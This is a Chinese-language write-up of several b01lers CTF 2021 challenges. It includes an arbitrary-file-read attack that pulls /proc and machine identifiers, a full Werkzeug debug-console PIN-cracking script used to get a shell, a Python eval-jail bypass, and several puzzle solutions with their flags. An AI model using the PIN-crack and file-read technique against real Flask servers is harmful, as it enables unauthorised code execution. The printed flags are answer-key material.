b01lers CTF 2021
Web
gdpr
查看页面源代码可以得到如下信息。
<a href="/flag_policy">Flag policy:</a>
定向到 /flag_policy
即可得 flag。
bctf{annoying_but_good?}
lorem_ipsum
任意文件读取
GET 参数 animal
处代码逻辑可用报错带出。
@app.route('/')
def index():
f = request.args.get('animal', 'dogs')
with open(f, 'r') as f:
file_content = f.read(200)
return """
<blockquote>{}</blockquote>
...
可以知道此处存在任意文件读取,且仅可读取 200 长度的内容。尝试读取 /proc/self/cmdline
可得如下信息。
/usr/bin/python3 /home/loremipsum/loremipsum.py
同时尝试传入 animal=flag
可以得到内容而不是报错,猜测 flag 文件就存在当前目录下。下一步要做的就是突破文件读取长度限制。
Werkzeug Debug Console PIN Crack
参考:https://book.hacktricks.xyz/pentesting/pentesting-web/werkzeug
参考文章中有逆向 Werkzeug Debug Console 的 PIN 生成原理的内容,这里直接贴脚本。
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
/sys/class/net/ens33/address
读取到 MAC 地址 02:42:ac:1b:00:02
并将其转换成十进制 2485378547714
。/proc/self/environ
可以包含出 username 为 loremipsum
。之前的报错中可以找到 flask 的运行文件的绝对路径 /usr/local/lib/python3.6/dist-packages/flask/app.py
。
machine-id not found
使用
boot-id + cgroup
来代替所需的 machine-id。/proc/sys/kernel/random/boot_id
读出一个所需的 boot-idb875f129-5ae6-4ab1-90c0-ae07a6134578
。/proc/self/cgroup
可以读到 cgroup,从中选一个与 boot-id 拼接起来得到如下内容。b875f129-5ae6-4ab1-90c0-ae07a6134578e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
将上述得到的内容填进脚本中运行可得 PIN 为 126-739-410
。直接在报错页面解锁 Debug Shell 然后读取文件即可得到 flag。
b0ctf{Fl4sK_d3buG_is_InseCure}
Pyjailgolf 1
题目给出的代码如下。
line = input('>>> ')
flag="[REDACTED]"
if len(line) > 10:
raise Exception()
try:
eval(line)
except:
pass
此时只需要使用报错带出 flag 即可,因此构造出 help(flag)
即可。
>>> help(flag)
No Python documentation found for 'pctf{JusT_a5k_4_h3lP!}'.
Use help() to get the interactive help utility.
Use help(str) for help on the str class.
pctf{JusT_a5k_4_h3lP!}
Misc
NSNC
题目附件是一张图,仔细观察可以发现有分开的两半二维码,将其修正一下。
扫描二维码可以得到如下信息。
MJRXIZT3NZPWKZTGL52GKZLTL5RWC3TUL5RDGX3XGBZG4X3MNFVTGX3SMU2GYX3UGMZXG7I=
Base32 解码一次可得 flag。
bctf{n_eff_tees_cant_b3_w0rn_lik3_re4l_t33s}
Elfcraft
附件给出的是一堆 mcfunction 文件,将其使用指令拼接起来。
type *.mcfunction >> combination.mcfunction
观察其数据特征可知其中包含着三维坐标且 y 轴大部分为 -1。因此将 x, z 两个轴的内容用正则稍微处理后提取出来之后写个脚本尝试构建图片。
/execute as @a\[scores={search=1}\] if block ~(\d{1,3}) ~-1 ~(\d{1,3}) minecraft:white_concrete run/
/scoreboard players add @a localChecks 1/
/execute as @a.*\n/
import PIL
img = PIL.Image.new("RGB", (15, 1367), "white")
coords = open('...\\combination.mcfunction').read().split("\n")
for coordsLine in coords:
x, y = coordsLine.split(' ')
img.putpixel((int(x), int(y)), (16,63,145))
img.save("result.png")
得到的图片上有一些 hex 数据。
result.png 太长了不是很好放👇
将其中的内容转写,可得到如下内容。
7F 45 4C 46 01 01 01 00 00 00 00 00 00 00 00 00
02 00 03 00 01 00 00 00 54 80 04 08 34 00 00 00
00 00 00 00 00 00 00 00 34 00 20 00 01 00 00 00
00 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08
00 80 04 08 E4 00 00 00 E4 00 00 00 05 00 00 00
00 10 00 00 C7 04 24 00 00 00 00 C7 44 24 FC 00
00 00 00 C7 44 24 F8 00 00 00 00 C7 04 24 00 00
00 00 BA 01 00 00 00 89 E1 BB 00 00 00 00 B8 03
00 00 00 CD B0 0F B6 54 24 FC 0F B6 8A CB 80 04
08 0F B6 14 24 31 D1 89 4C 24 F8 BA 01 00 00 00
89 E1 83 E9 08 BB 01 00 00 00 B8 04 00 00 00 CD
80 8B 4C 24 FC 41 89 4C 24 FC 83 F9 19 7C C6 BB
00 00 00 00 B8 01 00 00 00 CD B0 00 01 16 04 19
0F 53 0C 51 01 10 03 56 04 16 3D 27 2E 24 01 10
56 04 16 1F
很容易得知这是个 ELF 文件,此时再使用 IDA 打开这个文件。可以看到其反编译代码中有如下几句。
do
{
v5 = (unsigned __int8)retaddr ^ *((unsigned __int8 *)&loc_80480CB + (unsigned __int8)v6);
v1 = sys_write(1, &v5, 1u);
v3 = v6 + 1;
v6 = v3;
}
可以推测使用了亦或的方法。因为数据在 loc_80480CB
的位置,因此将此处及其后面的内容提取出来,做亦或操作。
因为 flag 以 b 开头,且数据第一位为 00
,因此尝试将提取出来的内容亦或字符 b。此时可以得到 flag。
bctf{m1n3cra4ft_ELFcr4ft}
Bars, Windchests, Vocals
Hint! The problem gives you an actual flag, it is not just a long number. Hint! The long number you get is the flag (in a form that computers love). It is in bctf{...} format, all bells and whistles are included in it.
附件给出的是一个包含很多乐谱的 PDF 文件,在其最后一页可以发现如下内容。
搜索巴赫的作品可以发现一个 BWV 编号,类似如下内容。(这里作品编号太多了,参考了大佬的 WriteUp)
Gib dich zufrieden BWV 510
Präludium und Fuge As-Dur BWV 862
Befiehl du deine Wege BWV 272
Prelude and Fugue in C major BWV 870
Praeludium et Fuga BWV 546
查找所给附件中所有作品的编号并对应罗马数字可以得到如下结果。
I = 510
II = 862
III = 272
IV = 870
V = 546
VI = 146
VII = 189
VIII = 563
IX = 354
X = 996
XI = 765
XII = 565
将所得的全部数字按照顺序连接起来得到如下内容。
510862272870546146189563354996765565
使用 long_to_bytes(510862272870546146189563354996765565).decode()
即可得 flag。
bctf{JSB/rOcKs}